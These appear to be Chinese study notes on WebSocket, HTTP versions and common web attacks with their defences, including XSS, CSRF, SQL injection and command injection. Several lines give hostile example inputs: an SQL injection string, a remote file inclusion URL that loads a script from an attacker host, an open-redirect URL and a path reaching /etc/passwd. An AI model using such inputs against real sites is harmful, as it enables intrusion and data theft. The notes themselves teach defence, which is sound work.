  通常,服务器端接收到请求,在处理完毕后就会立即返回响应,但为了实现推送功能,Comet 会先将响应置于挂起状态,当服务器端有内容更新时,再返回该响应。因此,服务器端一旦有更新,就可以立即反馈给客户端。
  内容上虽然可以做到实时更新,但为了保留响应,一次连接的持续时间也变长了。期间,为了维持连接会消耗更多的资源。

WebSocket

产生背景

  很多网站为了实现推送技术,所用的技术都是轮询。轮询是在特定的的时间间隔(如每 1 秒),由浏览器对服务器发出 HTTP 请求,然后由服务器返回最新的数据给客户端的浏览器。这种传统的模式带来很明显的缺点,即浏览器需要不断的向服务器发出请求,然而 HTTP 请求可能包含较长的头部,其中真正有效的数据可能只是很小的一部分,显然这样会浪费很多的带宽等资源。
  而比较新的技术去做轮询的效果是 Comet。这种技术虽然可以双向通信,但依然需要反复发出请求。而且在 Comet 中,普遍采用的长链接,也会消耗服务器资源。

  Comet 本质上也是轮询,但是在没有消息的情况下,服务器先拖一段时间,等到有消息了再回复。这个机制暂时地解决了实时性问题,但是它带来了新的问题:以多线程模式运行的服务器会让大部分线程大部分时间都处于挂起状态,极大地浪费服务器资源。另外,一个 HTTP 连接在长时间没有数据传输的情况下,链路上的任何一个网关都可能关闭这个连接,而网关是我们不可控的,这就要求 Comet 连接必须定期发一些 ping 数据表示连接“正常工作”。

  在这种情况下,HTML5 定义了 WebSocket 协议,能更好的节省服务器资源和带宽,并且能够更实时地进行通讯。

WebSocket 连接创建过程

  • WebSocket 连接必须由浏览器发起,因为请求协议是一个标准的 HTTP 请求,格式如下:
1
2
3
4
5
6
7
GET ws://localhost:3000/ws/chat HTTP/1.1
Host: localhost
Upgrade: websocket
Connection: Upgrade
Origin: http://localhost:3000
Sec-WebSocket-Key: client-random-string
Sec-WebSocket-Version: 13
  • 该请求和普通的 HTTP 请求有几点不同:
    • GET 请求的地址不是类似/path/,而是以ws://开头的地址
    • 请求头Upgrade: websocketConnection: Upgrade表示这个连接将要被转换为 WebSocket 连接;
    • Sec-WebSocket-Key是用于标识这个连接,并非用于加密数据;
    • Sec-WebSocket-Version指定了 WebSocket 的协议版本。
  • 随后,服务器如果接受该请求,就会返回如下响应:
1
2
3
4
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: server-random-string

  该响应代码 101 表示本次连接的 HTTP 协议即将被更改,更改后的协议就是Upgrade: websocket指定的 WebSocket 协议

  版本号和子协议规定了双方能理解的数据格式,以及是否支持压缩等等。如果仅使用 WebSocket 的 API,就不需要关心这些。

  现在,一个 WebSocket 连接就建立成功,浏览器和服务器就可以随时主动发送消息给对方。消息有两种,一种是文本,一种是二进制数据。通常,我们可以发送 JSON 格式的文本,这样,在浏览器处理起来就十分容易。

原理

  WebSocket 并不是全新的协议,而是利用了 HTTP 协议来建立连接。
  WebSocket 使得客户端和服务器之间的数据交换变得更加简单,允许服务端主动向客户端推送数据。在 WebSocket API 中,浏览器和服务器只需要完成一次握手,两者之间就直接可以创建持久性的连接,并进行双向数据传输。
  在 WebSocket API 中,浏览器和服务器只需要做一个握手的动作,然后,浏览器和服务器之间就形成了一条快速通道。两者之间就直接可以数据互相传送。
  由于是建立在 HTTP 基础上的协议,因此连接的发起方仍是客户端,而一旦确立 WebSocket 通信连接,不论服务器还是客户端,任意一方都可直接向对方发送报文。
  为什么 WebSocket 连接可以实现全双工通信而HTTP连接不行呢?实际上 HTTP 协议是建立在 TCP 协议之上的,TCP 协议本身就实现了全双工通信,但是 HTTP 协议的请求-应答机制限制了全双工通信。WebSocket 连接建立以后,其实只是简单规定了一下:接下来,咱们通信就不使用 HTTP 协议了,直接互相发数据吧。
  安全的 WebSocket 连接机制和 HTTPS 类似。首先,浏览器用wss://xxx创建 WebSocket 连接时,会先通过 HTTPS 创建安全的连接,然后,该 HTTPS 连接升级为 WebSocket 连接,底层通信走的仍然是安全的 SSL/TLS 协议。

特点

  • 推送功能
      支持由服务器向客户端推送数据的推送功能。这样,服务器可直接发送数据,而不必等待客户端的请求。
  • 减少通信量
      只要建立起 WebSocket 连接,就希望一直保持连接状态。和 HTTP 相比,不但每次连接时的总开销减少,而且由于 WebSocket 的首部信息很小,通信量也相应减少了。

  成功握手确立 WebSocket 连接之后,通信时不再使用 HTTP 的数据帧,而采用 WebSocket 独立的数据帧。

  很显然,要支持 WebSocket 通信,浏览器得支持这个协议,这样才能发出ws://xxx的请求。目前,支持 WebSocket 的主流浏览器如下:

  • Chrome
  • Firefox
  • IE >= 10
  • Sarafi >= 6
  • Android >= 4.4
  • iOS >= 8

HTTP/1.0

  最早的 HTTP 只是使用在一些较为简单的网页上和网络请求上,所以比较简单,每次请求都打开一个新的TCP链接,收到响应之后立即断开连接。

HTTP/1.1

  • HTTP/1.1 引入了更多的缓存控制策略,如 Entity tag,If-Unmodified-Since, If-Match, If-None-Match 等。
  • HTTP/1.1 允许范围请求,即在请求头中加入Range头部。
  • HTTP/1.1 的请求消息和响应消息都必须包含Host头部,以区分同一个物理主机中的不同虚拟主机的域名。
  • HTTP/1.1 默认开启持久连接,在一个 TCP 连接上可以传送多个 HTTP 请求和响应,减少了建立和关闭连接的消耗和延迟。

HTTP/2.0

  在 HTTP/2 中,有两个非常重要的概念,分别是帧(frame)和流(stream),理解这两个概念是理解下面多路复用的前提。
  帧代表数据传输的最小的单位,每个帧都有序列标识表明该帧属于哪个流,流也就是多个帧组成的数据流,每个流表示一个请求。这里有个 Chrome 扩展程序,可以方便的查看当前网站的 HTTP 请求版本(安装后在 Chrome 开发工具 - Network - 在 Name/Size/Time 表格头右键选择 Procotol,即可查看协议版本)。

  • 新的二进制格式: HTTP/1.x 的解析是基于文本的。基于文本协议的解析存在天然缺陷,文本的表现形式有多样性,要做到全面性考虑的场景必然很多。二进制则不同,只识别 0 和 1 的组合。基于这种考虑 HTTP/2.0 的协议解析采用二进制格式,方便且强大。
  • 多路复用: HTTP/2.0 支持多路复用,这是 HTTP/1.1 持久连接的升级版。多路复用,就是在一个 TCP 连接中可以存在多条流,也就是可以发送多个请求,服务端则可以通过帧中的标识知道该帧属于哪个流(即请求),通过重新排序还原请求。多路复用允许并发的发起多个请求,每个请求及该请求的响应不需要等待其他的请求或响应,避免了线头阻塞问题。这样某个请求任务耗时严重,不会影响到其它连接的正常执行,极大的提高传输性能。
  • 头部压缩: HTTP/1.x 的请求和响应头部带有大量信息,而且每次请求都要重复发送,HTTP/2.0 使用 encoder 来减少需要传输的头部大小,通讯双方各自 cache 一份头部 fields 表,既避免了重复头部的传输,又减小了需要传输的大小。
  • 服务端推送: 这里的服务端推送指把客户端所需要的 css/js/img 资源伴随着 index.html 一起发送到客户端,省去了客户端重复请求的步骤(从缓存中取)。

HTTP/3.0

  HTTP/2.0 使用了多路复用,一般来说同一域名下只需要使用一个 TCP 连接。但当这个连接中出现了丢包的情况,那就会导致整个 TCP 都要开始等待重传,也就导致了后面的所有数据都被阻塞了。反而对于 HTTP/1.0 来说,可以开启多个 TCP 连接,出现丢包反倒只会影响其中一个连接,剩余的 TCP 连接还可以正常传输数据。
  出现包阻塞的原因是因为底层 TCP 协议导致的问题,但是修改 TCP 协议是不现实的问题,就像typeof null === 'object'一样,修改这个问题会导致出现更多的问题。既然不能修改你,那就另起一个协议取代你。Google 基于 UDP 协议推出了一个的 QUIC 协议,并且使用在了 HTTP/3 上。

  QUIC 基于 UDP,但是 UDP 本身存在不稳定性等诸多问题,所以 QUIC 在 UDP 的基础上新增了很多功能,比如多路复用、0-RTT、使用 TLS1.3 加密、流量控制、有序交付、重传等等功能。优点诸多,参考这里

  • 避免包阻塞: 多个流的数据包在 TCP 连接上传输时,若一个流中的数据包传输出现问题,TCP 需要等待该包重传后,才能继续传输其它流的数据包。但在基于 UDP 的 QUIC 协议中,不同的流之间的数据传输真正实现了相互独立互不干扰,某个流的数据包在出问题需要重传时,并不会对其他流的数据包传输产生影响。
  • 快速重启会话: 普通基于 TCP 的连接,是基于两端的 ip 和端口和协议来建立的。在网络切换场景,例如手机端切换了无线网,使用 4G 网络,会改变本身的 ip,这就导致 tcp 连接必须重新创建。而 QUIC 协议使用特有的 UUID 来标记每一次连接,在网络环境发生变化的时候,只要 UUID 不变,就能不需要握手,继续传输数据。

Web 攻击与防御

Web 攻击分类

  简单的 HTTP 协议本身并不存在安全性问题,因此协议本身几乎不会成为攻击的对象。应用 HTTP 协议的服务器和客户端,以及运行在服务器上的 Web 应用等资源才是攻击目标。

Web 应用的攻击模式有以下两种:

  • 主动攻击(主要攻击服务器上的资源)
    • SQL 注入攻击
    • OS 命令注入攻击
    • 其他
  • 被动攻击(主要攻击用户的资源和权限)
    • 跨站脚本攻击
    • 跨站点请求伪造
    • 点击劫持(与跨站请求伪造手法相似)
    • HTTP 首部注入攻击
    • 其他

跨站脚本攻击(XSS)

  跨站脚本攻击(XSS)是指通过存在安全漏洞的 Web 网站注册用户的浏览器内运行非法的 HTML 标签或 JavaScript 进行的一种攻击。动态创建的 HTML 部分有可能隐藏着安全漏洞。就这样,攻击者编写脚本设下陷阱,用户在自己的浏览器上运行时,一不小心就会受到被动攻击。目的:利用网站漏洞从用户那里恶意盗取信息。
  XSS 攻击,通常指黑客通过 “HTML 注入” 篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。在一开始,这种攻击的演示案例是跨域的,所以叫做“跨站脚本”。但是发展到今天,由于 JavaScript 的强大功能以及网站前端应用的复杂化,是否跨域已经不再重要。但是由于历史原因,XSS 这个名字却一直保留下来。

XSS 分类

  • 反射型 XSS(非持久型 XSS)
  • DOM 型 XSS(非持久性 XSS)
  • 存储型 XSS(持久性 XSS 攻击)

反射型 XSS

  • 攻击构造出特殊的 URL ,其中包含恶意代码。(这个恶意代码诸如第三方的 JS 或document.cookie等)
  • 用户被诱导打开带有恶意代码的 URL,服务器端将恶意代码从 URL 中取出当做参数处理,然后返回给用户带有恶意代码的数据。
  • 用户浏览器接收到响应解析执行,混在其中的恶意代码也被执行。
  • 恶意代码窃取用户敏感数据发送给攻击者,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

DOM型 XSS

  从效果上来说也是反射型 XSS,单独划分出来,是因为 DOM Based XSS 的形成原因比较特别,发现它的安全专家专门提出了这种类型的 XSS。出于历史原因,也就把它单独作为一个分类了。

  • 攻击者构造出特殊的 URL,其中包含恶意代码。
  • 用户被诱导打开带有恶意代码的 URL。
  • 用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行。
  • 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

存储型 XSS

  存储型 XSS 跟 反射型 XSS 的区别是:存储型 XSS 的恶意代码存在服务器上,反射型 XSS 的恶意代码存在 URL 里。**它是最危险的一种跨站脚本。**比反射性 XSS 和 DOM 型 XSS 都更有隐蔽性,因为它不需要用户手动触发。**任何允许用户存储数据的 Web 程序都可能存在存储型 XSS 漏洞。**若某个页面遭受存储型 XSS 攻击,所有访问该页面的用户都会被 XSS 攻击。

  • 攻击者把恶意代码提交到目标网站的服务器中。
  • 用户打开目标网站,网站服务器端把带有恶意代码的数据取出,当做正常数据返回给用户。
  • 用户浏览器接收到响应解析执行,混在其中的恶意代码也被执行。
  • 恶意代码窃取用户敏感数据发送给攻击者,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

防御方法

  • 浏览器自带防御(X-XSS-Protection)
      HTTP X-XSS-Protection 响应头是 Internet Explorer,Chrome 和 Safari 的一个功能,当检测到跨站脚本攻击(XSS)时,浏览器将停止加载页面。其原理是检查 URL 和 DOM 中元素的相关性,但这并不能完全防止反射型 XSS,而且也并不是所有浏览器都支持 X-XSS-Protection。
1
2
3
4
5
6
7
8
9
10
11
X-XSS-Protection: 0     
禁止 XSS 过滤。

X-XSS-Protection: 1
启用 XSS 过滤(通常浏览器是默认的)。 如果检测到跨站脚本攻击,浏览器将清除页面(删除不安全的部分)。

X-XSS-Protection: 1; mode=block
启用 XSS 过滤。 如果检测到攻击,浏览器将不会清除页面,而是阻止页面加载。

X-XSS-Protection: 1; report=<reporting-uri>
启用 XSS 过滤。 如果检测到跨站脚本攻击,浏览器将清除页面并使用 CSP report-uri 指令的功能发送违规报告。
  • 转义
      XSS 攻击主要是通过构造特殊字符来注入脚本。所以在客户端与服务端都进行输入检测,然后对用户输入的数据进行转义。
1
2
3
4
5
6
7
8
9
function escapeHTML(str) {
if (!str) return '';
str = str.replace(/&/g, "&amp;");
str = str.replace(/</g, "&lt;");
str = str.replace(/>/g, "&gt;");
str = str.replace(/"/g, "&quot;");
str = str.replace(/'/g, "&#39;");
return str;
};
  • 过滤
      在富文本中因为需要保留 HTML ,所以我们不能使用转义的方法防御 XSS 攻击,这里使用过滤的方式防御 XSS 攻击,也就是通过只使用白名单允许的 HTML 标记及其属性,来防御攻击。

  • 内容安全策略(csp)
      实质是白名单策略,开发者明确告诉客户端,哪些外部资源可以加载和执行,大大增强了网页的安全性。

跨站请求伪造(CSRF)

叫做“攻击者伪造请求”,更好理解。

  • 用户登录一些官方网站。
  • 攻击者伪造一个链接或事件,诱导用户去点击。
  • 用户触发事件后(点击或者触发其他什么事件),执行操作。用户执行了表面的操作,实际上攻击者利用用户触发这个事件,伪造用户在官方网站做一些事情。

例子

  • 张三登录了购物网站。
  • 之后张三不小心点击了攻击者的恶意链接。
  • 在点击链接之后,张三的购物车被清空。此时,张三还并不知情。

分析攻击者为什么能成功

  • 张三如果第一次登录购物网站,网站要求用户输入用户名和命名,验证正确才能进入。
  • 此时购物网站在张三登录成功之后,会给张三 Cookie(里面有 Session ID),下次张三登录的时候可以不必输入用户名密码,靠着 Session ID 就可以直接进入。
  • 若张三点击了攻击者的事件之后,其实就是伪造用户去进入购物网站然后执行一些操作(利用张三的权限去做事情)。
  • 此时购物网站的服务器会认为是张三本人在做的一些操作,因为有 Session ID。

CSRF 特点

  • 攻击一般发起在第三方网站,而不是被攻击的网站。
  • 攻击是利用受害者在被攻击网站的登录凭证,冒充受害者提交操作,仅仅是“冒用”,而不是直接窃取数据。
  • 攻击者预测出被攻击的网站接口的所有参数,成功伪造请求。

防御方法

  • SameSite 属性
    Cookie 的 SameSite 属性用来限制第三方 Cookie,从而减少安全风险,可以用来防止 CSRF 攻击和用户追踪。
  • 同源检测
    在 HTTP 协议中,每一个异步请求都会携带两个 Header ,用于标记来源域名:
    • Origin Header
    • Referer Header

  这两个 Header 在浏览器发起请求时,大多数情况会自动带上,并且不能由前端自定义内容。 服务器可以通过解析这两个 Header 中的域名,确定请求的来源域。
  通过校验请求的该字段,我们能知道请求是否是从本站发出的。我们可以通过拒绝非本站发出的请求,来避免了 CSRF 攻击。

点击劫持

  点击劫持是一种视觉上的欺骗手段。攻击者使用一个透明的、不可见的iframe,覆盖在一个网页上,然后诱使用户在该网页上进行操作,此时用户将在不知情的情况下点击透明的iframe页面。通过调整iframe页面的位置,可以诱使用户恰好点击在iframe页面的一些功能性按钮上。

原理很简单:

  • 通过z-index属性让其位于最上层。
  • 通过opacity属性让其透明度为0。

  点击劫持攻击与 CSRF 攻击(详见“跨站点请求伪造”一章)有异曲同工之妙,都是在用户不知情的情况下诱使用户完成一些动作。但是在 CSRF 攻击的过程中,如果出现用户交互的页面,则攻击可能会无法顺利完成。与之相反的是,点击劫持没有这个顾虑,它利用的就是与用户产生交互的页面。

Flash 点击劫持

案例:

  • 攻击者制作了一个 Flash 游戏,并诱使用户来玩这个游戏。这个游戏就是让用户去点击 “CLICK” 按钮,每次点击后这个按钮的位置都会发生变化。
  • 在其上隐藏了一个看不见的 iframe。
  • 攻击通过诱导用户鼠标点击的位置,能够完成一些较为复杂的流程。
  • 最终通过这一步步的操作,打开了用户的摄像头。

其他的点击劫持

  • 图片覆盖攻击
  • 拖拽劫持
  • 触屏劫持(发生在智能手机上的攻击)

HTTP 首部注入攻击

  HTTP 首部注入攻击(HTTP Header Injection)是指攻击者通过在响应首部字段内插入换行,添加任意响应首部或主体的一种攻击。属于被动攻击模式。

向首部主体内添加内容的攻击称为 HTTP 响应截断攻击(HTTP Response Splitting Attack)。

  如下所示,Web 应用有时会把从外部接收到的数值,赋给响应首部字段LocationSet-Cookie

1
2
Loaction: http://www.example.com/a.cgi?q=12345  
Set-Cookie: UID=12345

危害

  • 设置任何 Cookie 信息
  • 重定向至任意 URL
  • 显示任意的主体(HTTP 响应截断攻击)

SQL 注入攻击

  注入攻击的本质,是把用户输入的数据当做代码执行。这里有两个关键条件,第一个是用户能够控制输入;第二个是原本程序要执行的代码,拼接了用户输入的数据

  所谓 SQL 注入,就是通过把 SQL 命令插入到 Web 表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的 SQL 命令。具体来说,它是利用现有应用程序,将(恶意的) SQL 命令注入到后台数据库引擎执行的能力,它可以通过在 Web 表单中输入(恶意)SQL 语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行 SQL 语句。
  SQL 注入攻击指的是通过构建特殊的输入作为参数传入 Web 应用程序,而这些输入大都是 SQL 语法里的一些组合,通过执行 SQL 语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

  比如先前的很多影视网站泄露 VIP 会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到 SQL 注入式攻击。

如何防御 SQL 注入攻击

  • 使用预编译语句,绑定变量。(最佳方式)
      使用预编译的 SQL 语句,SQL 语句的语义不会发生改变。在 SQL 语句中,变量用?表示,攻击者无法改变 SQL 的结构,在上面的例子中,即使攻击者插入类似于tom' or'1'='1的字符串,也只会将此字符串当做username来查询。
  • 使用安全的存储过程对抗 SQL 注入。
      使用存储过程的效果和使用预编语句译类似,其区别就是存储过程需要先将 SQL 语句定义在数据库中。但需要注意的是,存储过程中也可能会存在注入问题,因此应该尽量避免在存储过程内使用动态的 SQL 语句。如果无法避免,则应该使用严格的输入过滤或者是编码函数来处理用户的输入数据。
  • 检查数据类型
      检查输入数据的数据类型,在很大程度上可以对抗 SQL 注入。比如用户在输入邮箱时,必须严格按照邮箱的格式;输入时间、日期时,必须严格按照时间、日期的格式,等等,都能避免用户数据造成破坏。但数据类型检查并非万能,如果需求就是需要用户提交字符串,比如一段短文,则需要依赖其他的方法防范 SQL 注入。
  • 使用安全函数
  • 使用最小权限原则,避免 Web 应用直接使用 root、dbowner 等高权限账户直接连接数据库。
      如果有多个不同的应用在使用同一个数据库,则也应该为每个应用分配不同的账户。Web 应用使用的数据库账户,不应该有创建自定义函数、操作本地文件的权限。

OS 命令注入攻击

  OS 命令注入攻击(OS Command Injection)是指通过 Web 应用,执行非法的操作系统命令达到攻击的目的。只要在能调用 Shell 函数的地方就有存在被攻击的风险。
  OS 命令注入攻击可以向 Shell 发送命令,让 Windows 或 Linux 操作系统的命令行启动程序。也就是说,通过 OS 注入攻击可执行 OS 上安装着的各种程序。

产生的原因

  • 使用了内部调用 Shell 的函数(system、open 等)
  • 将倍加传入的参数传递给内部调用的 shell 的函数
  • 参数中 shell 的元字符没有被转义

防御对策

  • 选择不调用 OS 命令的实现方法。不调用利用 shell 的功能,既能杜绝了 OS 命令注入漏洞混入的可能性,又消除了调用 OS 命令的而系统开销,能够从多方面提高应用的性能。
  • 不将外界输入的字符串传递给命令行参数。
  • 使用安全的函数对传递给OS命令参数进行转义。

其他一些 Web 攻击

目录遍历攻击

  目录遍历(Directory Traversal)攻击是指对本无意公开的文件目录,通过非法截断其目录路径后,达成访问目的的一种攻击。这种攻击有时也称为路径遍历(PathTraversal)攻击。
  通过 Web 应用对文件处理操作时,在由外部指定文件名的处理存在疏漏的情况下,用户可使用. ../等相对路径定位到/etc/passed等绝对路径上,因此服务器上任意的文件或文件目录皆有可能被访问到。这样一来,就有可能非法浏览、篡改或删除 Web 服务器上的文件。
  固然存在输出值转义的问题,但更应该关闭指定对任意文件名的访问权限。

远程文件包含漏洞

  远程文件包含漏洞(Remote File Inclusion)是指当部分脚本内容需要从其他文件读入时,攻击者利用指定外部服务器的 URL 充当依赖文件,让脚本读取之后,就可运行任意脚本的一种攻击。
  这主要是 PHP 存在的安全漏洞,对 PHP 的includerequire来说,这是一种可通过设定,指定外部服务器的 URL 作为文件名的功能。但是,该功能太危险,PHP 5.2.0 之后默认设定此功能无效。
  固然存在输出值转义的问题,但更应控制对任意文件名的指定。

1
2
3
4
5
源代码:
http://example.com/foo.php?mod=news.php

经过攻击后:
http://example.com/foo.php?mod=http://hackr.jp/cmd.php&cmd=1s

  攻击者通过把要引入的文件替换成自己的文件,就能攻击到服务器了。

不正确的错误消息处理

  不正确的错误消息处理(Error Handling Vulnerability)的安全漏洞是指,Web 应用的错误信息内包含对攻击者有用的信息。与 Web 应用有关的主要错误信息如下所示:

  • Web 应用抛出的错误消息
  • 数据库等系统抛出的错误消息

  Web 应用不必在用户的浏览画面上展现详细的错误消息。对攻击者来说,详细的错误消息有可能给他们下一次攻击以提示。

开放重定向

  开放重定向(Open Redirect)是一种对指定的任意 URL 作重定向跳转的功能。而与此功能相关联的安全漏洞是指,假如指定的重定向 URL 到某个具有恶意的 Web 网站,那么用户就会被诱导至那个 Web 网站。

1
2
3
4
5
原 URL:
http://example.com/?redirect=http://www.tricorder.jp

被攻击后:
http://example.com/?redirect=http://hackr.jp

  用户看到 URL 后原以为访问example.com,不料实际上被诱导至hackr.jp这个指定的重定向目标。

  可信度高的 Web 网站如果开放重定向功能,则很有可能被攻击者选中并用来作为钓鱼攻击的跳板。

密码破解

  密码破解攻击(Password Cracking)即算出密码,突破认证。攻击不仅限于 Web 应用,还包括其他的系统(如FTP 或 SSH 等)。有以下几种破解方法:

  • 穷举法
      对所有密钥集合构成的密钥空间(Keyspace)进行穷举。即,用所有可行的候选密码对目标的密码系统试错,用以突破验证的一种攻击。
  • 字典攻击
      利用事先收集好的候选密码(经过各种组合方式后存入字典),枚举字典中的密码,尝试通过认证的一种攻击手法。

  字典攻击中有一种利用其他 Web 网站已泄露的 ID 及密码列表进行的攻击。很多用户习惯随意地在多个 Web 网站使用同一套 ID 及密码,因此攻击会有相当高的成功几率。

DoS 攻击

  DoS 攻击(Denial of Service attack)是一种让运行中的服务呈停止状态的攻击。有时也叫做服务停止攻击或拒绝服务攻击。DoS 攻击的对象不仅限于 Web 网站,还包括网络设备及服务器等。

有两种 DOS 攻击方式:

  • 集中利用访问请求造成资源过载,资源用尽的同时,实际上服务也就呈停止状态。(海量请求导致服务器瘫痪,服务器很难分辨何为正常请求,何为攻击请求,因此很难防止 DoS 攻击。)
  • 通过攻击安全漏洞使服务停止。

  多台计算机发起的 DoS 攻击称为 DDoS 攻击(DistributedDenial of Service attack)。DDoS 攻击通常利用那些感染病毒的计算机作为攻击者的攻击跳板。

后门程序

  后门程序(Backdoor)是指开发设置的隐藏入口,可不按正常步骤使用受限功能。利用后门程序就能够使用原本受限制的功能。

通常的后门程序分为以下3种类型:

  • 开发阶段作为 Debug 调用的后门程序
  • 开发者为了自身利益植入的后门程序
  • 攻击者通过某种方法设置的后门程序

  可通过监视进程和通信的状态发现被植入的后门程序。但设定在 Web 应用中的后门程序,由于和正常使用时区别不大,通常很难发现。

参考文献